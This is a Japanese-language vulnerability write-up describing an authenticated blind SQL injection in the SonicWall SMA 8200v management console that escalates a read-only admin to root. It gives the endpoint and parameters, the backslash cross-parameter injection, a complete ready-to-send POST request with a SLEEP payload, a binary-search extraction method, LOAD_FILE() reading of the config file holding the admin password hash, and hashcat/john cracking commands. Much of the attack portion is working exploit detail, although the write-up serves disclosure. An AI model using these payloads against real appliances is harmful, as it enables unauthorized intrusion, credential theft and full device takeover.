
SonicWall SMA1000シリーズアプライアンスにおけるSQLコマンドで使用される特殊要素の不適切な無害化(「SQLインジェクション」)により、読み取り専用の管理者権限を持つリモートの認証済み攻撃者が、プライマリ管理者への権限昇格を可能にします。
SonicWall SMA 8200v管理コンソール(ポート8443)における認証後ブラインドSQLインジェクションの脆弱性により、認証済みの管理者(低権限の読み取り専用アカウントを含む)が、アプライアンス設定ファイルからプライマリ管理者のSHA-512パスワードハッシュを抽出できます。SonicWallは管理コンソールの管理者とオペレーティングシステムのrootアカウントに同じ認証情報を使用しているため、このハッシュをクラックするとアプライアンスへの完全なrootレベルのアクセスが得られます。
分類: 権限昇格(低権限管理者からrootへ) CVSS 3.1: 7.2(高)— AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 攻撃の複雑さ: 低(自動化されたPoCで約60〜90分で抽出完了) 前提条件: 有効な管理コンソール認証情報(読み取り専用アカウントを含む)
| コンポーネント | 詳細 |
|---|---|
| プラットフォーム | SonicWall SMA 8200v(仮想アプライアンス) |
| ファームウェア | 12.5.0-02283(確認済み)。おそらくすべての12.x |
| サービス | 管理コンソール — Jetty + Struts 2(ポート8443) |
| エンドポイント | POST /activeUsers.action |
| 脆弱なパラメータ | realmFilter、communityFilter(クロスパラメータ) |
| 根本原因クラス | com.aventail.mgmt.sql.Sql.safeParam() |
| データベース | MariaDB 10.11.14、ユーザー DbAdmin(ALL PRIVILEGES + FILE) |
| 対象ファイル | /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml |
管理コンソールは、Active UsersダッシュボードのSQLクエリを、クラス com.aventail.mgmt.sql.Sql のヘルパーメソッド safeParam() を使用して構築します。このメソッドは、シングルクォート(')とダブルクォート(")を二重化してエスケープしますが、バックスラッシュ文字(\)はエスケープしません。
MySQL/MariaDBでは、バックスラッシュは文字列リテラル内のデフォルトのエスケープ文字です。シーケンス \' により、データベースはシングルクォートを文字列終端文字ではなくリテラル文字として解釈します。つまり、パラメータ値の末尾にあるバックスラッシュは、アプリケーションが追加する終了クォートをエスケープし、SQL文字列リテラルが隣接する構文にまで拡張される原因となります。
サニタイズのギャップ:```
Input: test
safeParam output: test\ (backslash NOT escaped)
In SQL: ... rt.name='test') AND (ct.name='...'
^^ backslash escapes the closing quote
The closing `'` after `test\` is consumed as a literal quote character within the string, so the SQL string literal extends across the `) AND (ct.name='` boundary and into the next parameter's value, where attacker-controlled SQL can be injected.
### 3.2 インジェクションの仕組み: パラメータ横断テクニック
`activeUsers.action` エンドポイントは、単一の SQL WHERE 句に補間される複数のフィルタパラメータを受け入れます。関連するパラメータは `realmFilter` と `communityFilter` で、これらはおおよそ次のような構造のクエリに現れます:```sql
SELECT ... FROM ...
WHERE ...
AND (rt.name='<realmFilter>')
AND (ct.name='<communityFilter>')
...
攻撃パラメータの設定:
| パラメータ | 値 | 目的 |
|---|---|---|
realmFilter | test\ | 末尾のバックスラッシュが閉じ引用符をエスケープし、文字列リテラルをAND境界を越えて拡張する |
communityFilter | )) OR (SELECT IF(<condition>,SLEEP(N),0))-- x | 開いている括弧を閉じ、条件付きSLEEPを注入し、残りをコメントアウトする |
補間後の結果SQL:```sql WHERE ... AND (rt.name='test') AND (ct.name=' )) OR (SELECT IF(,SLEEP(N),0))-- x')
これを分解すると:
1. `rt.name='test\')` — `\` が `'` をエスケープするため、ここでは文字列は閉じない
2. `AND (ct.name='` — 文字列値の一部(リテラルテキスト)になる
3. 文字列は次の `'`(`communityFilter` の開始部分)でようやく閉じる
4. `))` — WHERE 句の構造から開いた2つの括弧を閉じる
5. `OR (SELECT IF(...))` — ブラインドSQLインジェクションの条件を注入
6. `-- x` — 残りのSQL(`')` やその他の句)をコメントアウト
### 3.3 時間ベースのブラインド抽出
このアプリケーションのStruts 2エラーハンドリングはSQL例外を適切に捕捉する(クエリの成功・失敗に関係なく常にHTTP 200と同じページ内容を返す)ため、エラーベースやUNIONベースの抽出方法は利用できない。インジェクションは時間ベースのブラインド手法を用いて悪用される:
- **TRUE条件:** `IF(<condition>, SLEEP(N), 0)` — 応答はSLEEP時間に結果セットの行数を掛けた分だけ遅延
- **FALSE条件:** SLEEPなし — 応答は約200〜500msで返る
SLEEP関数はWHERE句の評価中に行ごとに実行される。典型的な監視テーブルに30〜300行以上が含まれる場合、小さなSLEEP値(例:0.3秒)でも明確に区別できる遅延が生じる(TRUEでは10〜100秒、FALSEでは1秒未満)。
対象データの各文字は、ASCII範囲に対する二分探索によって抽出される:```sql
ORD(SUBSTRING((<extraction_expr>), <position>, 1)) > <midpoint>
This requires a maximum of 7 requests per character (log2(128) = 7), yielding ~686 total requests for a 98-character SHA-512 hash.
PRIVILEGE ESCALATION CHAIN
============================================================================
[1] Authenticate Low-privilege admin (e.g., "readonly") | authenticates to management console on port 8443 | using "Local Authentication" realm v [2] SQL Injection Cross-parameter blind SQLi via activeUsers.action | realmFilter backslash + communityFilter payload | Condition: IF(, SLEEP(N), 0) v [3] LOAD_FILE() MariaDB DbAdmin user has FILE privilege | secure_file_priv=NULL does NOT block reads | avconfig.xml is group-readable (mode 664) v [4] Locate Hash LOCATE('consoleMode', file) anchors to admin section | LOCATE('', file, anchor) finds hash element | SUBSTRING + SUBSTRING_INDEX extracts hash value v [5] Extract Hash Binary search extracts hash char-by-char | ~98 chars * ~7 requests = ~686 requests | Output: $6$$ (SHA-512 crypt) v [6] Crack Hash hashcat -m 1800 / john --format=sha512crypt | Admin password = Root SSH password (by design) v [7] Full Compromise SSH as root, management console as admin Complete appliance takeover
### 4.2 ステップ 1: 認証
SMA管理コンソールは、2つの認証レルムをサポートしています:
| レルムID | 表示名 | ユーザー |
|----------|-------------|-------|
| *(空)* | 管理コンソール | プライマリ管理者アカウントのみ |
| `AMCAuthRealm` / `ローカル認証` | ローカル認証 | セカンダリ管理者アカウント(読み取り専用、カスタム) |
この攻撃に必要なのは、管理コンソールへのアクセス権を持つ**任意の**アカウントの有効な認証情報のみです。「読み取り専用」アカウント — 設定変更機能を持たない監視専用アクセスを目的としたもの — で十分です。
認証はJ2EE FORMベース認証を介して実行されます:
1. `GET /console.action` — ログインページを取得し、隠しフォームフィールドからCSRFトークンを抽出
2. `POST /j_security_check` — `csrfToken`、`j_username`、`j_password`、および`realmId`を送信
3. 成功時はHTTP 303リダイレクト、`JSESSIONID`クッキーが確立
### 4.3 ステップ 2: SQLインジェクション
認証後、攻撃者はクロスパラメータインジェクションを含むPOSTリクエストを`/activeUsers.action`に送信します:```
POST /activeUsers.action HTTP/1.1
Host: <target>:8443
Cookie: JSESSIONID=<session>
Content-Type: application/x-www-form-urlencoded
realmFilter=test\&communityFilter=)) OR (SELECT IF(1=1,SLEEP(0.3),0))-- x&userNameFilter=&zoneFilter=&platformFilter=&agentFilter=&agentVersionFilter=&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter
無条件の IF(1=1, SLEEP(0.3), 0) は、HTTPレスポンスに測定可能な遅延が発生することを確認することで、インジェクションが機能していることを検証します。
MariaDBデータベースは、OSユーザー DbAdmin(uid=1001、gid=500 aventail)で実行されています。このデータベースユーザーは、LOAD_FILE() に必要な FILE 権限を含む ALL PRIVILEGES ON *.* WITH GRANT OPTION を保持しています。
重要な発見: MariaDBの設定 secure_file_priv = NULL(INTO OUTFILE および INTO DUMPFILE の書き込み操作をブロックする)にもかかわらず、ファイルの読み取りを行う LOAD_FILE() 関数は完全に機能したままです。これは文書化されているものの十分に理解されていないMariaDBの動作です — secure_file_priv=NULL はファイルの書き込みパスを制限しますが、ユーザーが FILE 権限を持つ場合のファイル読み取りは無効化しません。
対象の設定ファイル /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml は、mgmt-server:aventail が所有し、権限は 664(rw-rw-r--)です。DbAdmin OSユーザーは aventail グループに属しているため、LOAD_FILE() でこのファイルを読み取ることができます。
ブラインドSQLiによる検証:```sql -- Check file is readable (non-NULL) IF(LOAD_FILE(0x2f7573722f6c6f63616c2f...)...) IS NOT NULL, SLEEP(0.3), 0) -- TRUE: file is readable
### 4.5 ステップ4: avconfig.xml内の管理者ハッシュの特定
`avconfig.xml`ファイル(約98KB)は、アプライアンスのマスター設定ストアです。このファイルには、`<password>` XML要素内に、すべてのユーザー資格情報がSHA-512 crypt形式で含まれています。プライマリ管理者ハッシュは、管理者セクションに固有の`<consoleMode>`要素の近くにある`<credentials_item>`ブロック内に配置されています。